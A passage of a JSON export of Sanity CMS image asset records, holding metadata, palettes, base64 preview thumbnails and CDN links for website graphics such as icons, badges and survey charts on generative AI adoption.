gIKipCvNKgTBVEZcFcINIgGlQamCtyZuQsIKowKfF6UcddNvjhgCwB+vIr/BCotSHShqArs2yIaFhFa+2lUur9vNZGCyICM0NEQ240rKDWNfByuXxL99fHZamfAvV//rsFvgr7NlAvadg68rN1jNZ+FqiT/AN/RlgiBNn7zgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59585e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b5778","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#839097","foreground":"#fff","population":0.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbccc","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccecfa","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#839097","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16a8e8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Metrics-control.png","path":"images/sczeoy4w/production/32a0f5f29b10096408155ccca816e5f51dc2a627-1313x720.png","sha1hash":"32a0f5f29b10096408155ccca816e5f51dc2a627","size":225197,"uploadId":"Il94eEeCXk2o0c5tyloNj1MBi6JR3BAh","url":"https://cdn.sanity.io/images/sczeoy4w/production/32a0f5f29b10096408155ccca816e5f51dc2a627-1313x720.png"} {"_createdAt":"2024-10-01T20:56:51Z","_id":"image-d6f8685ba68760fdcbd55e626b4e821fd68b2857-1345x720-png","_rev":"8q08tYxGNL2qfrtMKVe8aG","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T20:56:51Z","assetId":"d6f8685ba68760fdcbd55e626b4e821fd68b2857","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4Ss52IBD*?bWE_NM{IUn%V@R5WBaxs:s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8680555555555556,"height":720,"width":1345},"exif":{"PixelXDimension":1345,"PixelYDimension":720,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABN0lEQVQokY1S2W7DMAzz//9l3zZ0aRvHlw6Hg6Ss2Ia16wMhGJApimL6OJ1wfntHzgWtdZRSUbaCWht6HyBiiOifYBaMQWhteB19IC3nBZflilKaE65rxuVyw23NqLVjDPaPj0AkGMTeZ0jXa8G6VtQ6fJIp3VxhR+8EYoGoQnU+hOgEm2JRpGXJTthaSLeVbVUWiSb7NPcXML2mZVmd0NUQg4ggIjF9TrDuB+ZTiAZxut025BwKzQNTZwabP2F8rPIKRCfStjWU0o+VCXk1D+thcthg6pliwH9IX0S9M1ol2AC79lck4jjD388OoweSERmGVzriEwQeiWG+/o7LYQU/UOiE7p8pCoVxIAZ5DqPZFPv69wxGRn8o/E5oDb3birYyg52QoKKYc3oCjFQ9l+r9Vvd9v+MTBtldQt5dKmYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#804048","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721219","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9737c","foreground":"#000","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bcac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7a8ad","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64548c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9737c","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Metrics-enjoy.png","path":"images/sczeoy4w/production/d6f8685ba68760fdcbd55e626b4e821fd68b2857-1345x720.png","sha1hash":"d6f8685ba68760fdcbd55e626b4e821fd68b2857","size":175146,"uploadId":"NXUORlSn1bBZp8MMnuWQdtVFYJyGE45f","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6f8685ba68760fdcbd55e626b4e821fd68b2857-1345x720.png"} {"_createdAt":"2024-12-26T11:21:47Z","_id":"image-aab0673dc9091c7d855b318b3082a9181acbc6f3-900x900-png","_rev":"R4zj9VDraGU9JFViHDYK7C","_type":"sanity.imageAsset","_updatedAt":"2024-12-26T11:21:47Z","assetId":"aab0673dc9091c7d855b318b3082a9181acbc6f3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e55hY{j[oJj@a}~qjsoJj@a#~qayoLj[ay~qWBofj[ax~pWBofj[ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":900,"width":900},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAABE0lEQVR4nO3O3W7CIBjG8V6FBUoLQgGF0i7Lrkfth/Ej2f0fPkvRLNFMd7CjJR788vJy8Ifs87jFftpgHHeYph7jsLucxx77aUhzGLYY+g36fpP242GP8/mQnE4X56vs471F10U0sUGMEW0b0XUt2hjRhIAQPEIzz4D1epV479N+4W9k1hhY66CUQlUJCCEgpYQQEiUvwXmJSirwaomcECwWi6cybx2a0KTXnFuluHOzFayxqI2D8W+QNoAVHJQSUEofypYlR600jDHQuobW+jprKKWhagvt3yFMAGUFCMlBCHkom6sFY2BFATbPewVHIRRYKUEofRojc/D+Is/zb7e/+T1Gfgr+VfYK4hXEK4j/H/wCEQMafPHkPSQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3f48","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#183e6b","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66aae3","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2bebb","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66aae3","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6504f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#31c241","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"extension.png","path":"images/sczeoy4w/production/aab0673dc9091c7d855b318b3082a9181acbc6f3-900x900.png","sha1hash":"aab0673dc9091c7d855b318b3082a9181acbc6f3","size":65850,"uploadId":"xYoO0McRluhK6KlGpGmwpiaZ2V6yrQzk","url":"https://cdn.sanity.io/images/sczeoy4w/production/aab0673dc9091c7d855b318b3082a9181acbc6f3-900x900.png"} {"_createdAt":"2025-01-08T15:04:40Z","_id":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_rev":"tW1iVB3M02HkZ9xlNEZYfF","_type":"sanity.imageAsset","_updatedAt":"2025-01-08T15:04:40Z","assetId":"ba35631acc0eb21098da3e2f4d7d78198ce29710","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4AP6ga@s%iTH~A","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.906542056074766,"height":428,"width":2528},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA7UlEQVR4nAXByU6DQAAA0H660YO/YEqiURvjEpNqwlKGpYCNelBaylaGYZkNBgpWEz373uSXEfiHEf/BpTnU6IqHm5wFa9ii7LLLUruPt5WAiTw0cCagX7DUjzivLtpWvDWEY9522tj12jcjuKeknRxWdti5gIwe0A4ekJipxgzI0ehq0uACXdg6GlbafIRP53VytyvDm3WUOVMnrlwjqAs3Zc85bua4rPICoXLS26pOrUUoLPV6sJQTbKgvxJC9r6VyvF8uZtwBfu8p0j55OC3j+/civjW3O/sIBPBR/YQbK8JTRMUZpfyDUvr6D2gcwv4RmdXcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323a47","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b0506","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#898f94","foreground":"#fff","population":7.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbfc0","foreground":"#000","population":1.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1bca1","foreground":"#000","population":0.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898f94","foreground":"#fff","population":7.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8a93c","foreground":"#000","population":3.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"G2 badges winter 2025.png","path":"images/sczeoy4w/production/ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428.png","sha1hash":"ba35631acc0eb21098da3e2f4d7d78198ce29710","size":155158,"uploadId":"BLhQ2q0cFeA3NRDNTUBDTKcD4TkPnvMb","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428.png"} {"_createdAt":"2024-11-12T20:43:42Z","_id":"image-46976bb76b3393a5159a3242ea891369e3c0ee99-24x24-svg","_rev":"1v7MRIpZS1A0E2ougb53Bn","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T12:12:33Z","altText":null,"assetId":"46976bb76b3393a5159a3242ea891369e3c0ee99","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEH8A%=IE$E$AY1eE$1efQ]lJSaz1e$O=I1e$O}CJS=Iw_sn$OWWNv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACb0lEQVR4nKWUWUtVURiGn1IbyIqowMoiG0giKAoaRDh4YRyOeta3du4oKJGCBi8aiCgqyhsL7aKJuomioAiyyWZoIOmqH9BFf2a/sZZbsEHx1IJ1s9nrXd/3vs+3YIKlAjNkrMyMQtbBVrWxRAeomejMuEsXmKoOVsk4qYRnMh7JOCzHcqVUVS6YUiuPl+eFPF9lDMsYVJmyCtRWJgZTQqsy+jLPWxnn5OmV8TrzHFeJusoEC9G77bEi464SWtTJLnmeZ8Z5OZZWJJgVqZdxOq/uqDpoUIpXwpAcA3JskDFfKXOzItNDR+NXt4kaGc2Z8SAEERJWmdlKKcrzUsZQZpyVcUieLnlaldIQhH9t0bNICatlbA7VyXgXvWtnWUzcs06e/vjd8yq0Hy/wPM5JaFSBatTKLJXZkjmOKeGKjPsxVRcPtSll5pjUN8pHLw/K0yPPmYhTEE7oDjagMmvluCjjQ/Qs4YsSfshxT571Y/0JdmRF5kT/2lkQwpFjr4w3MvqVsAIllGQR3If57T1K+CTHLbXTOCENKVUq05Kfv64ya9AOdkd4jb44BUZz9GcygsH7APoI/JdCOEFwTy7QGwOoRLCNeTL2heTlOKGUuv8TLLM485zKK+wKXP6f4Mh4Xs7/L0UW/1UwznugwHMnZ3FbJEKeztyDG3I0ZUYiz/vAY3wHPfV/2/FpC8gEXo2bAb+RmxxNEWbjo4xrMm7L812eb3JcDWP2+85fnwF5nuZQ71eRhaMs1cnRLRcnJIxTmJBheT5HsxMG/9ieJ4G9OO+eI4G/AP0oS9XhfYseOEzGzkntDpxKNMX2U6aNmvsTx5vUCOeztqMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64342c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1b07","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85208","foreground":"#fff","population":6.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#911e07","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45434","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6754","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85208","foreground":"#fff","population":6.77,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-thumbs-up.svg","path":"images/sczeoy4w/production/46976bb76b3393a5159a3242ea891369e3c0ee99-24x24.svg","sha1hash":"46976bb76b3393a5159a3242ea891369e3c0ee99","size":537,"title":null,"uploadId":"AaQS7bYj7LvBOayAuqYvFoxZU4zhF1wH","url":"https://cdn.sanity.io/images/sczeoy4w/production/46976bb76b3393a5159a3242ea891369e3c0ee99-24x24.svg"} {"_createdAt":"2024-11-01T19:30:27Z","_id":"image-bc2b017eb755c3f65d8687637801d52d988633a3-2400x1256-png","_rev":"uHzmvE2HQDA7PXHnJvEyR4","_type":"sanity.imageAsset","_updatedAt":"2024-11-01T19:30:27Z","assetId":"bc2b017eb755c3f65d8687637801d52d988633a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MG9ir:T00x#6}tocofa%S5jX1Gs8}tK79[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVR4nHWSTU8TURSG+wdsaTvTOzMdpraF0kKBUBoIHzFg1CAodmbaTkFq+AqgKTEQE11o3KDRGI0LFxpXbjRGd7pza0xcuTFxw8olib/hMfeWdGFw8d459+M85z1zbygqPFI9Vxkq7zA62WJ0cpfSZIvSRDsuT+2quG9oE8MJiBtuW6JCXLjEhIzb6kp4hGKGi+XUOZ1rku1fo6e4Tm9xg/zwFv0jWwyMbDJU2mCgeI1UpoHpBErCrqEZXgeoGRWiwiUkB1kxZlbRuwPM9DLJ7ApObpX84CrnZ5fYrvi0ZudYHLxAPuthppbQ7TpRwyeS8JQzCe4A5URtGFXiyTqaXUekmoxN7XP35i2+PPD4sVHk/UyGWmGKpO0SMapEhE844ancE4ERIeWrr5VdZ95/zZNHn/n6/A5/Wnl+L4Z5Ot7HcHqBuB0Qs2rt8/8Dho9dyoPpwnW85kfuPz7k7cMPHG7PcOSGeTOdYaL3IrrTUN1EFNA9CegqoITp3Q2c3Cbnrrxi794vXhx84/tOk5+LSQ7KAxScBdVyV6flf4DyUuSmrBY1q8TMGvFkQG54n0vBO/Zan3i53OLZdIm5njPoRoVTx/9O5QhfMRQwZngIyydh1zrSrCryfWpWQKZwg/L4bc6W1hjLzGObl+kS7ZvVhItlV0mmGuoZSZchmSgsD6vb70gWkC40UUEzXHTTI2G66DJWa22ZZoVsukY2t4KVCpSJv9bSTCcVN9AeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58334e","foreground":"#fff","population":1.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":50.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":50.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebfda","foreground":"#000","population":0.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c94fc","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95206","foreground":"#fff","population":5.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How do you believe your customers perceive the use of Gen AI in your products and services.png","path":"images/sczeoy4w/production/bc2b017eb755c3f65d8687637801d52d988633a3-2400x1256.png","sha1hash":"bc2b017eb755c3f65d8687637801d52d988633a3","size":43755,"uploadId":"aeg4R8MQwbSRuQjFBD4k1vr7tc5cA7P7","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc2b017eb755c3f65d8687637801d52d988633a3-2400x1256.png"} {"_createdAt":"2024-11-01T19:30:27Z","_id":"image-fcb67ccc7cc979778735e602c85fe232135b53b9-2400x1256-png","_rev":"U360V83F77Z1JcZt4N5fFP","_type":"sanity.imageAsset","_updatedAt":"2024-11-01T19:30:27Z","assetId":"fcb67ccc7cc979778735e602c85fe232135b53b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC5rG^j]I7aetAo$ofW9axj]I7kD%QWARh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVR4nGWSTU8TURSG+wugn3PvzHQ6tNNOwWIkSEyMkhhRkQSQmbYztfQLFRFaDJGFa124MRpXRjcaFU1cunOhQvxjj5nbqiiLJ/cmJ3nue865sbjwkbkQ221jlzvY7ohyV5263SCt+6SkR0r8JXmM1Ii45hNLCA/NrCHtBnKiiZ5fxyiskyv1KE1vU5zewXI20MzghOi4MC3XiFxKGL2e1GskjYCMNRQ7lR3mrz3nuv+W+cUXVOYe4lQG5Kf6mMXbpMyQcc1nTIuSDcXHhD5pM0DYTYx8C6PQYmp2n5XGR7r9Q5qbX7nR/MxycMBS7T3nF54yMbmlAoyJqhKfEGpWSLbYIed2sUodTp3dZ7XxiY3BERu7P+kNjugNDmlvf1MPzc0/pnj6PnqhR8qok5T/CD0lNJ32H2Flbp+V8IDOzne6/R9KFNz6wnL4gYWVV1y4+ozZi48oVPqks6FyJMRoKdEWRa6hWo2kEeWZPS4vv2Sp9o5F7w1XVl9z7tITSmf2sCfvKSz3LlquRULWhi1ro4QZo6qE0m4i7JtqlpZ7h/LMA5zpXXLuFtnSJprdJq7XGVPL8BkXPnFRJSGqo4QesaTwEWYVaQVIK0RYIZlsnbRZJ2MGJGWVuPpj3vBUw/cVaelhZGuYdgORrauUsaggDF8V9BHS9MnINUX0v37f/0c31nDydRy3hWGHaoa/AJlkTGwtcqbpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57334e","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":49.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":49.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c84b4","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#808ce9","foreground":"#fff","population":6.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f5792","foreground":"#fff","population":2.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc3048","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Where are you on your AI journey.png","path":"images/sczeoy4w/production/fcb67ccc7cc979778735e602c85fe232135b53b9-2400x1256.png","sha1hash":"fcb67ccc7cc979778735e602c85fe232135b53b9","size":38207,"uploadId":"3FULsfeObfyOk7X8BRKCykwHDAI0Nsrv","url":"https://cdn.sanity.io/images/sczeoy4w/production/fcb67ccc7cc979778735e602c85fe232135b53b9-2400x1256.png"} {"_createdAt":"2024-11-01T19:30:27Z","_id":"image-b2241f652fb4a5a8db1ae59007b6de5ee109a78a-2400x1256-png","_rev":"U360V83F77Z1JcZt4N5fGQ","_type":"sanity.imageAsset","_updatedAt":"2024-11-01T19:30:27Z","assetId":"b2241f652fb4a5a8db1ae59007b6de5ee109a78a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC5#xgRNIQ%QRhocogb0axaxM@xwtTMuo$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAElEQVR4nHWSy08TURSH+w9YhtKZe2f6mNbWSkECKLSRiiGxGtQI86CWdiiIxaIgjxBjojt3JrrRaOJr4daFcePChRoXGv+sz8xtAwF18d1zTnLz5XdubqRfeNj5gLHyBuXpXUrTO0xUthRhXzq3zWRlmzNTW0z0KI6uIVPXGRAuMeGqGqIZHpGYdElmGxRG2hTH1imOdw4xpFinONZRd3JDq6RPtBCpOnHp7wvj0qFfuETCw0gsIO0GItNEZpqY2aBHt7eOByRyLeyTbTKDHXLDmwxP3Cc7eJt+s4ZmdJPuC8NBEz59R9Bklz7hYaQDTlceUb32iovzb/FbHzl74QnxZEBUdwk3PSTsMzyihscxvVsP8IkaLmb2Bpecd6ze/UGz84X2zk+qc68x0i2iuvN/YUg34YKqeiogO7TJSOkh880PdPZ+07rzlbXdX1Tn3vSE/0zoKlksUVfricwyiXybwugeM1decNl/j7/yiZXN79Tbn1ne+MbM1Zfo6aW/Ew5IF016aHIBYS+RzN8kVbhF7tQWg+P3KM88Zqr6VHF+9rl6u+nZZ4xMPiCeWEQTnnIoYUx6CMvHSNYUpt1QiFQDaQcKK9M6ILuCqeoyVrqBlaxh2YuIZE1tGgk/trA8rJS/TzjrpoMuHeLiKOG/cxiQDqblkMvUyBWWsOw6oesPQopMKx9vUjoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58344f","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":50.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":50.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c84b4","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#848cea","foreground":"#fff","population":5.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c59ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc3048","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How significant is data sovereignty and control in the context of GenAI development and you organization strategic goals.png","path":"images/sczeoy4w/production/b2241f652fb4a5a8db1ae59007b6de5ee109a78a-2400x1256.png","sha1hash":"b2241f652fb4a5a8db1ae59007b6de5ee109a78a","size":40600,"uploadId":"ndNZcprLZ7OLBV9mGQ4YyVIOzTBvIwVb","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2241f652fb4a5a8db1ae59007b6de5ee109a78a-2400x1256.png"} {"_createdAt":"2024-11-12T20:46:52Z","_id":"image-94ded5731855b4c9ec16c3f1804d83e2ed611cc9-24x24-svg","_rev":"1rO0ipfFxAOuS00jqjRlHs","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T12:12:24Z","altText":null,"assetId":"94ded5731855b4c9ec16c3f1804d83e2ed611cc9","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIGhblE$1e}C1eo1a|WWfQoK1Lw_w_WpoKjta|snoKJSJ9Nv,=JS]l","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACj0lEQVR4nKWU2YvPURjGP8Y2k33JdmEJ2ZcamiwZWceY7++871c/RbYLkdwgSYm5wo0tWbIkbigJhWxJXDDlQrmgXMmdG/6D76Nz/DD4jSyn3r5965znvM/zPs+Bv1yCTirTTY3Uqkznvz3/K2Cgr5yZypmjFgb+H1iZOuXMk3FCzjEFpnRMI1IwBqjMkHbVP9JLexrpohIT5RyU81rGdRn11QEjWMZUGetl7IhVONsVWK2MMZpINzlDZWyR86LI+SDnopzJ1QEX0Ucllss4KedGqjx1cEjGXC1mkIwWGdcK533hvJNxJF5GtVU00V05Y2WE1GVgg5x1MpbJGK0VNMg4LuepjKdy2gpjnwIjkxSt1ETZfqbdRWV6pinGKqeueyXKgV0y7so5r8ApOU/k6VtWzqI4qMKYEM+TDsUunGkKTE/fnLFFE73TkKKOgZsyLslYVQS2yXgk55mM23LuyLmvwEFlTKJoZoKcnXLOpA6MczJ2xwkm/aL4xnMZrQosVGCtjKPJOlFz40FhSdNraqbhd4ARbF2lk7dyrlZ0PC1jvwLNCmQyLqQ9zl5ljOqQskoMU0aTjPNyHsq5Jede4bxMDoj6OZsrtM+m5DRS+9XYNfEn6fZ9KP3VwnCVmCFngZzFcjZGzQrnsZwDMq5UDL5Sy+nXPlJ9FJgdRU+WaW+bFoYnW31JSgS/LONVAo2Tj0GIF7dS8x0wZ0RKRtxczdjrqU3xNGZFkML5KOeNnMMqM12b6PqjB7/YY6mcrVWjV0/XVMaSOIDC+VS5uCl5r8or0jkNxxnU4eOwhh5JK6etUhuVMfiXhPzpqqQoU865wtijEuOirv8ElgAj5YxRCsxXzvhvFvmfVcl73e86+wzoub4sbWsEYgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c3c34","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1504","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1504","foreground":"#fff","population":1.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c1f0c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee5e46","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#76503a","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9550f","foreground":"#fff","population":1.22,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-zap-fast.svg","path":"images/sczeoy4w/production/94ded5731855b4c9ec16c3f1804d83e2ed611cc9-24x24.svg","sha1hash":"94ded5731855b4c9ec16c3f1804d83e2ed611cc9","size":554,"title":null,"uploadId":"DFh1vBT0ffGGjSNomla4cPgkadUdmFjK","url":"https://cdn.sanity.io/images/sczeoy4w/production/94ded5731855b4c9ec16c3f1804d83e2ed611cc9-24x24.svg"} {"_createdAt":"2024-11-12T20:48:04Z","_id":"image-26549052f7ef0db597fdb87ad15b3b608a759e26-24x24-svg","_rev":"j14GNyKgkSja9ilYIemmel","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T12:12:15Z","altText":null,"assetId":"26549052f7ef0db597fdb87ad15b3b608a759e26","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHHRC{1e1e}C1xoKa|a|jta|1e65,=,=WWa|WWfQo1fQ=I=Iw_J9E$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEklEQVR4nKWUvWtVQRDFf+ojRiMIYlIIipYqqBgNSISAxpgi792ZhQsigloZ0XR2FnZqsFIQQdOYYBTSBBWiptBX2am9/8s9svs2n+TjJS4s7J07c/bsmQ/YxtINutTghAouy7iokiMq6dgayAA1lexXwWE1GJQzLmdWxgc5Y6pzTI/Y2R5YyT4VnFHgemU8lDOtwE8Zc5XzXYEZFVzVTTrbYdYp44KMZ3I+yvmiwJ/K+S3jjYyZCCynjFJsDtjgkJwHcr4q8FLOPTmP43di5/yQM6E6/W3pmMR3XiW9AnWVdGfbHRnPZTyVUWiYbsGO5Tp1qOSARjioEfaKlsBJO+OtjHdqcC7aqmF2pyQE+uWcT5e